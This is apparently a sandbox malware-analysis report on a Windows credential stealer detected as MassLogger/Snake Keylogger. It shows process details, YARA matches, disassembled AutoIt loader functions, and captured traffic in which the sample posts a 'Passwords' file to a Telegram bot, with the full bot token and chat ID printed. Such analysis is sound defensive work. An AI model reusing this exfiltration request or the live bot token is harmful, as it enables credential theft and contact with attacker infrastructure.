2025-01-11 06:59:15 UTC	857	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:59:15 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1893544 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8gczGjKRCmKMdpMJ%2F9K56WIcyhFB%2FSvguWBFoV4sTy1MHg6OsvCM%2BTFO7Hclr0fdbuiT9qGrhEtb8uLBWmjzAkwc9DcSEMVZWP7sXiGfv3BLf9eQagwedWLHIVY14SAxz%2F2nTPAE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 900305e4484042d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1537&min_rtt=1532&rtt_var=586&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1850443&cwnd=229&unsent_bytes=0&cid=cc549d14cba74f01&ts=235&x=0"
2025-01-11 06:59:15 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49737	149.154.167.220	443	2172	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:59:21 UTC	299	OUT	POST /bot8138619732:AAH290KzTAyIxOODoUHLupo_iFgT4CfKzAM/sendDocument?chat_id=7455776561&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31e38f96b8f2 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:59:21 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 65 33 38 66 39 36 62 38 66 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31e38f96b8f2Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:59:21 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:59:21 GMT Content-Type: application/json Content-Length: 551 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:59:21 UTC	551	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 31 33 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 33 38 36 31 39 37 33 32 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 6e 6f 76 61 6c 6f 67 67 65 72 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 6e 6f 76 6f 6c 6f 67 67 65 72 70 72 69 6e 63 65 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 34 35 35 37 37 36 35 36 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 7a 65 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4f 6e 79 65 6e 7a 65 30 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 38 37 36 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 Data Ascii: {"ok":true,"result":{"message_id":21386,"from":{"id":8138619732,"is_bot":true,"first_name":"novalogger","username":"novologgerprincebot"},"chat":{"id":7455776561,"first_name":"Nze","username":"Onyenze001","type":"private"},"date":1736578761,"document":{"f

Target ID:	5
Start time:	01:59:06
Start date:	11/01/2025
Path:	C:\Users\user\Desktop\JWPRnfqs3n.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\JWPRnfqs3n.exe"
Imagebase:	0x800000
File size:	992'768 bytes
MD5 hash:	820C5B5F7FD86172A9637E4AF12FAD06
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000005.00000002.1332934469.0000000000D80000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:59:11
Start date:	11/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\JWPRnfqs3n.exe"
Imagebase:	0x2a0000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000008.00000002.3729360682.0000000000372000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000008.00000002.3730877202.00000000027FB000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	9%
Total number of Nodes:	2000
Total number of Limit Nodes:	60

Executed Functions

Function 00803B3A Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00803B68
IsDebuggerPresent.KERNEL32 ref: 00803B7A
GetFullPathNameW.KERNEL32(00007FFF,?,?,008C52F8,008C52E0,?,?), ref: 00803BEB

Part of subcall function 00807BCC: _memmove.LIBCMT ref: 00807C06

Part of subcall function 0081092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00803C14,008C52F8,?,?,?), ref: 0081096E

SetCurrentDirectoryW.KERNEL32(?), ref: 00803C6F
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,008B7770,00000010), ref: 0083D281
SetCurrentDirectoryW.KERNEL32(?,008C52F8,?,?,?), ref: 0083D2B9
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,008B4260,008C52F8,?,?,?), ref: 0083D33F
ShellExecuteW.SHELL32(00000000,?,?), ref: 0083D346

Part of subcall function 00803A46: GetSysColorBrush.USER32(0000000F), ref: 00803A50
Part of subcall function 00803A46: LoadCursorW.USER32(00000000,00007F00), ref: 00803A5F
Part of subcall function 00803A46: LoadIconW.USER32(00000063), ref: 00803A76
Part of subcall function 00803A46: LoadIconW.USER32(000000A4), ref: 00803A88
Part of subcall function 00803A46: LoadIconW.USER32(000000A2), ref: 00803A9A
Part of subcall function 00803A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00803AC0
Part of subcall function 00803A46: RegisterClassExW.USER32(?), ref: 00803B16

Part of subcall function 008039D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00803A03
Part of subcall function 008039D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00803A24
Part of subcall function 008039D5: ShowWindow.USER32(00000000,?,?), ref: 00803A38
Part of subcall function 008039D5: ShowWindow.USER32(00000000,?,?), ref: 00803A41

Part of subcall function 0080434A: _memset.LIBCMT ref: 00804370
Part of subcall function 0080434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00804415

Strings

runas, xrefs: 0083D33A
This is a third-party compiled AutoIt script., xrefs: 0083D279

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 529118366-3287110873
Opcode ID: 953347e3ce34b85ac67399ec25cb8d6a039133ec146bad463495ceada5a5e0db
Instruction ID: 526d67c82e3ad8c2269c2bab4ea202bee51b4bfb3111791523cbb898509d9d0c
Opcode Fuzzy Hash: 953347e3ce34b85ac67399ec25cb8d6a039133ec146bad463495ceada5a5e0db
Instruction Fuzzy Hash: 3A51E971D04248AEDF41EBB8EC05EED7BB9FF45744F004069F511E22E2DA746685CB22

Function 008049A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 008049CD

Part of subcall function 00807BCC: _memmove.LIBCMT ref: 00807C06

GetCurrentProcess.KERNEL32(?,0088FAEC,00000000,00000000,?), ref: 00804A9A
IsWow64Process.KERNEL32(00000000), ref: 00804AA1
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00804AE7
FreeLibrary.KERNEL32(00000000), ref: 00804AF2
GetSystemInfo.KERNEL32(00000000), ref: 00804B23
GetSystemInfo.KERNEL32(00000000), ref: 00804B2F

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 89f422ed27847641926d4c6dd9d185391385ccc97a6dc66371dd665b8810f9de
Instruction ID: b10d205ea033adba83fc8e67b2355fd11bf677c403082a6a9acb533dc0928d41
Opcode Fuzzy Hash: 89f422ed27847641926d4c6dd9d185391385ccc97a6dc66371dd665b8810f9de
Instruction Fuzzy Hash: F991C47198A7C4DECB71DB6898501AABFE5FF29300F444D6DD1C7D3A42D224B908C759

Function 00804E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00804D8E,?,?,00000000,00000000), ref: 00804E99
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00804D8E,?,?,00000000,00000000), ref: 00804EB0
LoadResource.KERNEL32(?,00000000,?,?,00804D8E,?,?,00000000,00000000,?,?,?,?,?,?,00804E2F), ref: 0083D937
SizeofResource.KERNEL32(?,00000000,?,?,00804D8E,?,?,00000000,00000000,?,?,?,?,?,?,00804E2F), ref: 0083D94C
LockResource.KERNEL32(00804D8E,?,?,00804D8E,?,?,00000000,00000000,?,?,?,?,?,?,00804E2F,00000000), ref: 0083D95F

Strings

SCRIPT, xrefs: 00804EA6

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 55de499dc475b4460106081f6c5b39ae1c04153166979507db2a08a04a60d21c
Instruction ID: 860dac924a498c71447fd27fa3966ea32e2ffa7db209795f2ff958c85ec12be7
Opcode Fuzzy Hash: 55de499dc475b4460106081f6c5b39ae1c04153166979507db2a08a04a60d21c
Instruction Fuzzy Hash: 3E115EB5240701BFD7218B69EC48F677BBAFBC5B21F204268F605C62A0DB61E8018660

Function 008047D0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

IsThemeActive.UXTHEME ref: 00804834

Part of subcall function 0082336C: __lock.LIBCMT ref: 00823372
Part of subcall function 0082336C: DecodePointer.KERNEL32(00000001,?,00804849,00857C74), ref: 0082337E
Part of subcall function 0082336C: EncodePointer.KERNEL32(?,?,00804849,00857C74), ref: 00823389

Part of subcall function 008048FD: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 00804915
Part of subcall function 008048FD: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0080492A

Part of subcall function 00803B3A: GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00803B68
Part of subcall function 00803B3A: IsDebuggerPresent.KERNEL32 ref: 00803B7A
Part of subcall function 00803B3A: GetFullPathNameW.KERNEL32(00007FFF,?,?,008C52F8,008C52E0,?,?), ref: 00803BEB
Part of subcall function 00803B3A: SetCurrentDirectoryW.KERNEL32(?), ref: 00803C6F

SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 00804874

Strings

8o, xrefs: 008047D6
H, xrefs: 00804851, 00804864

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: InfoParametersSystem$CurrentDirectoryPointer$ActiveDebuggerDecodeEncodeFullNamePathPresentTheme__lock
String ID: 8o$H
API String ID: 1438897964-2661627418
Opcode ID: 41a69e7edaeca7beff5bf1a02788bcfc452791ed6501068901b2a8bfdd71962a
Instruction ID: 4d6dc8ecc2359bbd7fb985a9ef95dd2371e1b4fcbb090c91f26035e478fc8bc5
Opcode Fuzzy Hash: 41a69e7edaeca7beff5bf1a02788bcfc452791ed6501068901b2a8bfdd71962a
Instruction Fuzzy Hash: 74118E719043459BCB00EF28EC0590ABBF8FB94750F10892EF480C32B2DB709A49CB96

Function 0080FCE0 Relevance: 5.5, APIs: 3, Instructions: 1040COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: 8a77ccfe6b68d02fe8cac6af6eeed8bd37b0e19bcb78b88585110b86079e2e71
Instruction ID: e63332bdae6ce814d37244de3c71d6f42ace18d0b3ed663a4cc8832801a6d976
Opcode Fuzzy Hash: 8a77ccfe6b68d02fe8cac6af6eeed8bd37b0e19bcb78b88585110b86079e2e71
Instruction Fuzzy Hash: D99238745083458FD720DF18C880B6ABBE5FF85314F14892DE89ADB252D7B5E885CF92

Function 0086445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,0083E398), ref: 0086446A
FindFirstFileW.KERNELBASE(?,?), ref: 0086447B
FindClose.KERNEL32(00000000), ref: 0086448B

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: c89d28e72d2b7a102e98dd6596aaf13cf82baea3eb4bb633f0acb8a2435857f0
Instruction ID: e4ca996805886ad67bdd514928558976a7c6456fe2c7763fb1fbb7b1512c703e
Opcode Fuzzy Hash: c89d28e72d2b7a102e98dd6596aaf13cf82baea3eb4bb633f0acb8a2435857f0
Instruction Fuzzy Hash: C6E0D8324115046B42106B3CEC0E4ED775CFE45335F100715F935D11D0EB7499009799

Function 0080E6A0 Relevance: 3.6, Strings: 2, Instructions: 1102COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 00843E62
x-, xrefs: 0080E7AD, 0080E7B4, 0080EABA, 0080EAC1, 00843AF5, 00843B2E, 00843DAA

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID:
String ID: Variable must be of type 'Object'.$x-
API String ID: 0-183146980
Opcode ID: d87caf6ee058c49dc521a1e5c68513f74d996ef65ef216d15f90bde3f96b13e0
Instruction ID: d641a92d8e24dbfcfec89a9105817c11d0c3885eb7e81b0f53b0ca0f56fe85bc
Opcode Fuzzy Hash: d87caf6ee058c49dc521a1e5c68513f74d996ef65ef216d15f90bde3f96b13e0
Instruction Fuzzy Hash: 2BA2D074A00219CFCB64CF58C880AAEB7B2FF58314F248869E905EB391D775ED42CB91

Function 008109D0 Relevance: 57.3, APIs: 27, Strings: 5, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00810A5B
timeGetTime.WINMM ref: 00810D16
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00810E53
Sleep.KERNEL32(0000000A), ref: 00810E61
LockWindowUpdate.USER32(00000000,?,?), ref: 00810EFA
DestroyWindow.USER32 ref: 00810F06
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00810F20
Sleep.KERNEL32(0000000A,?,?), ref: 00844E83
TranslateMessage.USER32(?), ref: 00845C60
DispatchMessageW.USER32(?), ref: 00845C6E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00845C82

Strings

@GUI_CTRLHANDLE, xrefs: 00844FE4
@COM_EVENTOBJ, xrefs: 008454F0
@GUI_CTRLID, xrefs: 00844F3A
@GUI_WINHANDLE, xrefs: 00844F8F
@TRAY_ID, xrefs: 0084578F

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
API String ID: 4212290369-3242690629
Opcode ID: d71a7812e2f73a437c3805056b74ec2f7719f861501bfc34fbc6c34906274e02
Instruction ID: 53ff1a6e13dbc9cde6d57b4c288014216483280048ef92f8c3827699a7696c07
Opcode Fuzzy Hash: d71a7812e2f73a437c3805056b74ec2f7719f861501bfc34fbc6c34906274e02
Instruction Fuzzy Hash: 92B27C70608745DFD724DB28C885BAEB7E5FF84304F14491DE59AD72A2DBB1E884CB82

Function 00869155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00868F5F: __time64.LIBCMT ref: 00868F69

Part of subcall function 00804EE5: _fseek.LIBCMT ref: 00804EFD

__wsplitpath.LIBCMT ref: 00869234

Part of subcall function 008240FB: __wsplitpath_helper.LIBCMT ref: 0082413B

_wcscpy.LIBCMT ref: 00869247
_wcscat.LIBCMT ref: 0086925A
__wsplitpath.LIBCMT ref: 0086927F
_wcscat.LIBCMT ref: 00869295
_wcscat.LIBCMT ref: 008692A8

Part of subcall function 00868FA5: _memmove.LIBCMT ref: 00868FDE
Part of subcall function 00868FA5: _memmove.LIBCMT ref: 00868FED

_wcscmp.LIBCMT ref: 008691EF

Part of subcall function 00869734: _wcscmp.LIBCMT ref: 00869824
Part of subcall function 00869734: _wcscmp.LIBCMT ref: 00869837

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00869452
_wcsncpy.LIBCMT ref: 008694C5
DeleteFileW.KERNEL32(?,?), ref: 008694FB
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00869511
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00869522
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00869534

Memory Dump Source

Source File: 00000005.00000002.1330919557.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000005.00000002.1330802954.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.000000000088F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331370231.00000000008B4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331819250.00000000008BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1331895856.00000000008C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_800000_JWPRnfqs3n.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
